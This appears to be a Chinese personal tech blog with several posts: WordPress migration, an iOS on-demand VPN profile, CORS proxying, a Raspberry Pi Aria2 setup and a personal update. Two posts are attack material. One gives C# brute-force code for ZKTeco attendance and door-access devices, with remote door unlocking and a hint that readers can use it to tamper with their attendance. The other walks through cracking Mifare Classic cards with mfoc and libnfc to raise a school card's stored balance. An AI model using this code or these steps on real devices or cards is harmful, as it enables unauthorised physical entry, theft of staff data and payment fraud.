WordPress搬家迁移前后台空白问题

今天将Wordpress从VPS搬家到空间,遇到了前后台空白问题,网上检索出来的大部分答案解决不了问题,最后通过删除wp-config.php进行重新安装解决问题。

迁移Wordpress后要注意调整PHP的版本号以对旧环境Wordpress迁移文件适配。

需要设置主机的伪静态来解析旧环境Wordpress的链接规则

IOS按需自动连接VPN 保持长链接

随着个人信息保护意识的增强,大多数人为了确保在外部未知网络下的信息安全,会使用VPN这类信息管道,对信息安全有苛刻要求的用户会采用自建服务器的方式,使用系统VPN功能进行通信,对于iOS/Mac等系统来说,基础的功能不能满足高阶用户,下面我们会使用一种更加智能的方式来建立长连接VPN。

本文适用于IPsec连接方式

将解决问题:

1.iOS VPN 在切换Wi-Fi/流量时会自动断线 并且长时间连接状况下极其不稳定。

2.VPN智能开闭:iOS/Mac在未知网络环境下自动连接VPN 在已知环境下断开VPN。

 

使用配置文件方案来解决如上问题

将以下XML编码保存为 Vpn.mobileconfig文件 填写服务器信息 上传至Web服务器,使用iOS/Mac进行访问链接 即可安装该配置文件。

<?xml version=”1.0″ encoding=”UTF-8″?>
<!DOCTYPE plist PUBLIC “-//Apple//DTD PLIST 1.0//EN” “http://www.apple.com/DTDs/PropertyList-1.0.dtd”>
<plist version=”1.0″>
<dict>
<key>PayloadContent</key>
<array>

<dict>
<key>UserDefinedName</key>
<string>Security Channal</string>
<key>PayloadDisplayName</key>
<string>Security Channal</string>
<key>PayloadIdentifier</key>
<string>com.channel.vpn.wifi</string>
<key>PayloadUUID</key>
<string>85284094-A9F5-47D7-A1CD-6F831B2FFAC0</string>
<key>VPNType</key>
<string>IPSec</string>
<key>IPSec</key>
<dict>
<key>RemoteAddress</key>
<string>服务器地址</string>
<key>AuthenticationMethod</key>
<string>SharedSecret</string>
<key>XAuthName</key>
<string>用户名</string>
<key>XAuthPassword</key>
<string>密码</string>
<key>XAuthEnabled</key>
<integer>1</integer>
<key>LocalIdentifierType</key>
<string>KeyID</string>
<key>SharedSecret</key>
<string>公共密匙</string>
</dict>
<key>OnDemandEnabled</key>
<integer>1</integer>
<key>OnDemandRules</key>
<array>
<dict>
<key>InterfaceTypeMatch</key>
<string>WiFi</string>
<key>SSIDMatch</key>
<array>
<!– 连接至以下Wi-Fi时 断开VPN(已知安全环境) –>
<string>WiFi名称1</string>
<string>WiFi名称2</string>
</array>
<key>Action</key>
<string>Disconnect</string>
</dict>
<dict>
<key>Action</key>
<string>Connect</string>
</dict>

<!– 各情景的断开/连接配置 分别为 手机流量 以太网 WI-FI 默认配置–>
<!–
<dict>
<key>Action</key>
<string>Disconnect</string>
<key>InterfaceTypeMatch</key>
<string>Cellular</string>
</dict>

<dict>
<key>Action</key>
<string>Connect</string>
<key>InterfaceTypeMatch</key>
<string>Ethernet</string>
</dict>

<dict>
<key>Action</key>
<string>Connect</string>
<key>InterfaceTypeMatch</key>
<string>WiFi</string>
</dict>

<dict>
<key>Action</key>
<string>Ignore</string>
</dict> –>
</array>
<key>OverridePrimary</key>
<true/>
<key>IPv4</key>
<dict>
<key>OverridePrimary</key>
<integer>1</integer>
</dict>
<key>PayloadType</key>
<string>com.apple.vpn.managed</string>
<key>PayloadVersion</key>
<integer>1</integer>
</dict>

</array>
<key>PayloadDisplayName</key>
<string>VPN</string>
<key>PayloadIdentifier</key>
<string>TW.BAB78424-28FB-4654-915D-93D0CB87CC7B</string>
<key>PayloadRemovalDisallowed</key>
<false/>
<key>PayloadType</key>
<string>Configuration</string>
<key>PayloadUUID</key>
<string>A9F4B095-4336-4ECD-A2B2-3D52D778E743</string>
<key>PayloadVersion</key>
<integer>1</integer>
</dict>
</plist>

 

 

参考:

https://thomas-witt.com/auto-connect-your-ios-device-to-a-vpn-when-joining-an-unknown-wifi-d1df8100c4ba

https://nerd.one/vpn-on-demand-configuration-profiles-for-ios-and-macos-explained/

简谈Javascript跨域问题

 

1.关于JS异步通讯

Javascript在进行前后端通讯时我们通常采用AJAX方式异步调用数据,后端输出JSON以提供数据,在我们开发环境下,与后端交互,或从网络站点抓取数据时会出现跨域问题。在后端支持的情况下,我们可以使用jsonp来调用数据。

2.关于Json

Json是我们最常见的与前端交互的异步传输格式,在后端设置了HTTP头Access-Control-Allow-Origin的情况下(CORS)我们可以通过AJAX成功调用数据。

3.关于Jsonp

Jsonp是天然支持跨域的,它的原理是通过Get方式将获取到的数据以脚本的方式来执行,在这种情况下后端是必须要输出一个callback标签头以供Jsonp处理数据,如果没有后端的支持异或是我们调用网络网站的数据,Jsonp是不能成功抓取数据的。

4.解决方案

处理跨域问题我们可以采用Nginx反向代理的形式,将异域的调用地址挂载于服务器上实现同域访问。

Eg:

www.example.com/api/select?id=221 我们将该地址反向代理为 /api 路径实现同源访问

具体步骤:

打开nginx配置文档 设置

location ^~/api/
{ 
rewrite ^/api/(.*)$ /$1 break;
proxy_pass http://api.123.com/; 
}

通过此步我们将api.123.com挂载到了服务器,访问地址为 /api

Nginx反向代理来解决JS跨域问题 在开发环境或生产环节都适用 并且是完全无侵入的 。

5.关于Vue

在Vue-cli脚手架下开发,我们还有更为简便的方法,即使用proxyTable,我们可以将它理解为一个地址映射表,和nginx反向代理实现的结果相同。

具体步骤:

proxyTable: {
  '/api': {
    target: 'http://www.123.com',
    changeOrigin: true,
    pathRewrite: {
      '^/api': '/api'
    }
  }
}

调用部分只用写成 /api 就可以代表 www.123.com/api

近况。

细数博客有一年多没更新了,近两年来也在慢慢脱离互联网安全这个圈子转向程序开发及自己的项目建设。两年下来,很多做互联网安全的同路人也在逐渐走散。互联网安全、白帽、黑帽的灰色地带法律难以鉴别致使越来越多从业者失去信心,大公司、正规军是目前作为网络安全爱好者必须有的后盾,否则风险是无力承担的。基于以上情况及现实中很多朋友的实例教训,Wooyun的倒闭,我选择退出这个走在法律边缘,没有积极环境的行业。

近两年在海外留学,同时运营自己的项目,从互联网安全研究转向全栈开发,Docker、区域链条及今年大火的DL研究,产业就是这样的,一日兴盛一日为寇,适时转变方向不失为好的选择。

近两年服务器从AWS转移到Conoha.jp->Digitalocean->Linode,Conoha的服务器素质是最满意的,不过遭受了一次压力测试导致封号,被迫转移到两年前用过的DO,直观感受是服务器质量比以前差多了(网络及读写).Linode一直作为VPS行业领军公司,日本机房评测与Cohona齐平。

有兴趣联系我的朋友可以留言,我看到会回复的。

–小麦/Skycloud/Kevin/Cloudsec

AWS免费套餐

今天刷新邮箱发现GitHub Developer Pack发来一封邮件,提醒AWS加入了education pack全家桶套餐。之前一直听说AWS的集群服务器很强,点进注册,一路确认,最后到了控制面板.
屏幕快照 2015-11-06 下午10.39.00

看到这面板功能,满足了我对云计算的所有需求,幻想。有Container Docker容器服务器,RDS数据库服务,WAF防火墙,Hadoop框架,CDN分发,Elastic Beanstalk容器服务,简直屌炸天啊。刚好满足最近想用Docker练手的想法。最关键的事情是,这还免费12个月,免费12个月,免费12个月。

屏幕快照 2015-11-06 下午10.38.06

良心推荐。

Aria2下载机及Mycloud互联

1.Raspberry刷固件

http://www.raspicn.com/thread-149-1-1.html

2.安装http服务器(应本来已经安装较多软件,此处我选择小巧的Lighttpd)

apt-get update

apt-get install lighttpd

打开浏览器 输入Raspberry ip地址 首页可得到Lighttpd 网页目录

3.wget 或者clone https://github.com/ziahamza/webui-aria2

至此aira2及web ui安装完毕

4.安装smbclient

arp -a 指令查看mycloud ip

mount //192.168.9.106/Public /media/disk1/aira2/mycloud -o username=,password=

挂载成功

5.设置自启动

建立挂载目录 chmod给权限

打开etc目录 编辑rc.local 或者rc.d目录下r c.local

exit0前添加 mount //192.168.9.106/Public /media/disk1/aira2/mycloud -o username=,password=

6.编辑/home/pi/.aria2/aria2.conf

dir位置设置默认下载位置

中控设备缺陷利用

只要能搞定指纹考勤机(其余类型考勤机也同样),在很大情况下能搞定一家公司的所有人员信息,下面我说一下在研究指纹设备时发现的认证缺陷问题。

这里在软件选型上我找到了规模比较大的中控生物旗下的考勤产品下载,其中有下载量比较大的ZKTime系列的免费版。

2014060220133172492.png

介绍里说明几乎支持所有类型的指纹考勤机,指纹门禁及所有同品牌类型的指纹产品类型,如果算连接网络的设备全中国估计会有6位数以上的设备终端。

网站上有一篇“户外物理设备入侵之:入侵并“调教”中控指纹语音考勤系统(打卡机)”,作者只是写了个大概,并没有对程序进行过分析,有些概念是错误的,反正正好我也在研究,重新写一些东西纠正一下好了。

关于此类设备的认证方面网上都有资料可循,不过有些人说是明文,三次握手部分看不到有此类的数据包,所以应该是加密算法做哈希,尤其说过此密码估计要设备终端和PC终端相同才行。(设备默认开启4370端口,6位数字组合为暴力枚举必破)

2014060220160246182.png

2014060220170692817.png

所以这里设备爆破手法1.搞清密码处理流程用数据包骗过去。2,直接扣二次开发SDK或者找开发资料把函数扣出来。

索性SDK做得简单易懂,我看一天左右就可以上手编写破解密码的程序部分了。

2014060220183670975.jpg

指纹考勤联机部分的流程SDK文档如下:

2014060220192293626.jpg

远程网络认证部分关键函数有两个:

1.Connect_Net

VARIANT_BOOL Connect_Net( [in] BSTR IPAdd, [in] long Portl)

布尔类型的函数

IPAdd,(远程设备IP地址)和Port(设备认证端口)

2.SetCommPassword

VARIANT_BOOL SetCommPassword( [in] long CommKey)

CommKey为密码(小声说一句,可能是为了兼容或者开发方便,认证方式实在很弱)。

整个连接过程不过很短的几句代码,加个循环就能成为破解密码程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
private void CrackerConnect() {
    zkemkeeper.CZKEMClass axCZKEM1 = new zkemkeeper.CZKEMClass();
    int ifcommnetpass = 0;
    for (j = 0; j < 24; j++) {
        key = comkeys[j];
        pwd = axCZKEM1.SetCommPassword(key);
        if (pwd == true) {
            bIsConnected = axCZKEM1.Connect_Net(txtIP.Text, Convert.ToInt32(txtPort.Text));
            if (bIsConnected == true) {
                btnConnect.BeginInvoke(new System.EventHandler(SetbtnConnectTextSec));
                lblState.BeginInvoke(new System.EventHandler(SetlblStateTextSec), comkeystr[j]);
                iMachineNumber = 1;//In fact,when you are using the tcp/ip communication,this parameter will be ignored,that is any integer will all right.Here we use 1.
                axCZKEM1.RegEvent(iMachineNumber, 65535);//Here you can register the realtime events that you want to be triggered(the parameters 65535 means registering all)
                ifcommnetpass = 1;
                break;
            } else {
                lblState.BeginInvoke(new System.EventHandler(SetlblStateTextSecfail), comkeystr[j]);
            }
        }
    }
    if (ifcommnetpass == 0) {
        for (j = 0; j < 1000000; j++) {
            key = keys[j];
            pwd = axCZKEM1.SetCommPassword(key);
            if (pwd == true) {
                bIsConnected = axCZKEM1.Connect_Net(txtIP.Text, Convert.ToInt32(txtPort.Text));
                if (bIsConnected == true) {
                    btnConnect.BeginInvoke(new System.EventHandler(SetbtnConnectTextSec));
                    lblState.BeginInvoke(new System.EventHandler(SetlblStateTextSec), keystr[j]);//
                    iMachineNumber = 1;//In fact,when you are using the tcp/ip communication,this parameter will be ignored,that is any integer will all right.Here we use 1. //
                    axCZKEM1.RegEvent(iMachineNumber, 65535);//Here you can register the realtime events that you want to be triggered(the parameters 65535 means registering all)
                    break;
                } else {
                    lblState.BeginInvoke(new System.EventHandler(SetlblStateTextSecfail), keystr[j]);
                }
            }
        }
    }
    Cursor = Cursors.Default;
}

注意先注册SDK里提供的控件再调用里面的接口函数:

2014060220263466786.jpg

按照SDK开发的专门入侵的程序可以做到远程开关设备和远程清密码,还有开门禁等等。

比方说开门禁的

ACUnlock

【函数定义】

VARIANT_BOOL  ACUnlock([in] long dwMachineNumber, [in] long Delay)

【功能】

开门,使开门控制器输出开门电平,并延迟(Delay/10)秒后关门

【参数】

dwMachineNumber

机器号

Delay

开门延迟时间

【返回值】

成功返回True,否则返回False

2014060220272581566.jpg

还有很多功能,比如鸣叫报警,自动开门,下载整个公司数据库,照片指纹等,甚至可以像游戏Watch dog里一样手机开门,手机关门禁和考勤设备,其实考勤及门禁设备也很重要。

大家节后上班考勤难免会有问题,有缘人看这篇文章应该知道咋做了。

RFID——Mifare Classic card破解

1)暴力破解

爆破对于M1卡的破解来说比较有效,因为M1卡是被动卡,需要读卡器来供能,切断供能后卡的临时数据就丢失了,也就是说不会存在输入过多错误密码后造成的锁死之类的情况
FFFFFFFFFFFF、A0B0C0D0E0F0等等都是M1白卡的默认密码,所以当我们使用mfoc这样的工具来爆破的时候基本上都是用这些默认密码来填充剩余扇区的密码。

2)重放攻击

刚刚我们说了M1卡是被动卡,当它被供能的时候会产生随机数列,切断供能后数据不会保存,再次供能又会产生一模一样的数列,然后就可以控制切断,再次供能的时间计算出这个数列,进行重放攻击来达到修改数据的目的。

3)克隆卡片(卡复制)

M1卡的扇区可以保存数据,所以大部分的卡片会选择加密扇区后保存数据,我们可以用 uid卡来进行复制,每张M1卡在0扇区第1段都有一个唯一标识,而且是保护无法修改的,uid 卡就是没有设定0扇区保护的卡,所以你可以随意的修改你想要的uid,这样我们就可以克隆出一张连uid都相同的卡片了。(但是要注意不要把00扇区弄 坏,之前测试的时候就未知原因写坏了00扇区无法读入了)。

4)嗅探攻击

这里要用到PM3这个神器,在卡和机器数据交换的时候嗅探数据,进行攻击,利用XOR算key工具就可以把扇区的密钥计算出来。

0x01 细节


科普结束,接下来以一个实例来讲解以下破解M1卡的姿势。

关于暴力破解,我们此处用到这么几个东西,ACR122u,mfoc,libnfc。

其中ACR122u作为硬件供能,读写的作用,mfoc用来爆破,libnfc用来写入数据。

enter image description here

可以看到读出了我们的卡类型,下方的keyA keyB就是要我们破解的地方,当然,也可以使用另外一个简化版本,更粗暴简单一些,百度M1卡服务程序即可。

enter image description here

稍等片刻后就发现上下各16个勾勾都打上了,说明成功爆破了,成功后会在当前目录下生成一个dump文件,这样,这张卡的数据就被完全dump下来了,得到dumpfile1但是只有1k的大小,在win下操作的时候需要用到一个fixdump的工具来填充剩余部分

fixdump dumpfile1

即可修复,大小为4k,然后我们去消费一下这张卡(让你要修改的区域的数据改变)

enter image description here

其中前6个字节和后6个字节的FF FF FF FF FF FF即为秘钥,中间的几位FF 07 80 69即为控制位。

再次dump数据dumpfile2并修复

fixdump dumpfile2

就此,我们有了两个样本,然后做hex diff,linux下直接用diff,win下可以使用hexcmp2

enter image description here

diff后发现了数据变动的区域。

本文只修改简单的金龙卡水卡功能,所以取样两次后就可以轻松找到数据所在的扇区,如果是做比较复杂的修改那么取样可能得多次,比如做门禁攻击啥的。

可以看到这个扇区内的一些数值,末端的40,FF啥的都是存放数值的地址,我们不用管它,在M1 卡中本来要进行一次的取反和倒序存入,但是可能本屌的渣学校的卡居然直接进行16进制换算为10进制后就是水卡金额数目。。。

这里多说两句,一般情况下,数据存入是倒序的,比如F9 FE,其实真实数据是FE F9,然后换算为2进制进行取反再换算为10进制,有可能还会遇到数据的加密,我们再解密后就可以得到存入的数值了。

图中是我成功修改了最大数值后的,金额为640.00元,hex为fa 00,做测试的时候笔者太高估了学校,多次猜测其换算的算法,取样了20来次后脑洞开了,直接通过10进制转换16进制。。。居然就是那么简单!F9 FE为63998小数点请忽视。

然后使用libnfc来写入数据

.
fc-mfclassic.exe w b dumpfile_new dumpfile_old

enter image description here

至此,破解差不多就那么完成了(单纯指做数据修改的目的,不包括解决什么后患啊之类的情况)。

最后上一张成功改写后的测试图。

 

破解时长共3个小时(来回取样浪费了不少时间)。

关于验证漏洞攻击,在前面科普的时候说过,每个扇区都有独立的密码,在通常情况下,有些存储关键数据(比如饭卡里的钱)的扇区会更改密码,比如,某张卡里的第4扇区存着钱,更改了默认密码,但是其他扇区并没有更改默认密码,那么我们怎么通过其他扇区来操作第4扇区呢,这里就会用到验证漏洞攻击,也就是nested authentication 攻击,通常会在我们知道16个扇区中任意一个扇区密码来破解其他扇区的时候使用。

首先我们知道,M1卡的算法是个对等加密算法,读卡器中也保存着同样的密码,也是用同样的算法加密,当卡和机器交互的时候,读卡器首先验证0扇区的密码,卡给读卡器以明文方式发送一个随机序列a(明文),然后读卡器通过跟加密,同时自己产生一个加密的随机序列b(密文)返回,卡用自己的密码解密之后,解密出来的序列如果是自己之前发送的a,则认为正确,然后通过自己加密算法加密读卡器生成的随机序列发送给读卡器,读卡器解密之后,如果跟 自己之前发送的随机数b相同,则认为验证通过,之后所有的数据都通过此算法加密传输。

enter image description here

在整个过程中,只有a是明文,之后的都是密文,card发送一个a给读卡器之后,读卡器用错误的密码加密之后发送给card,card肯定解密错误,然后验证中断
但是,我们知道其他扇区的的密码,验证的时候,使用这个扇区验证成功之后,后面所有的数据交互都是密文,读其他扇区数据的时候,也是card首先发送随机数a,这个a是个加密的数据,之前说的每个扇区的密码是独立的,那么加密实际上就是通过card这个扇区的密码相关的算法加密的a,这个数据中就包含了这个扇区的密码信息,所以我们才能 够通过算法漏洞继续分析出扇区的密码是什么。

也就是因为这个原理,在验证漏洞的时候才必须要知道至少一个其他扇区的密码。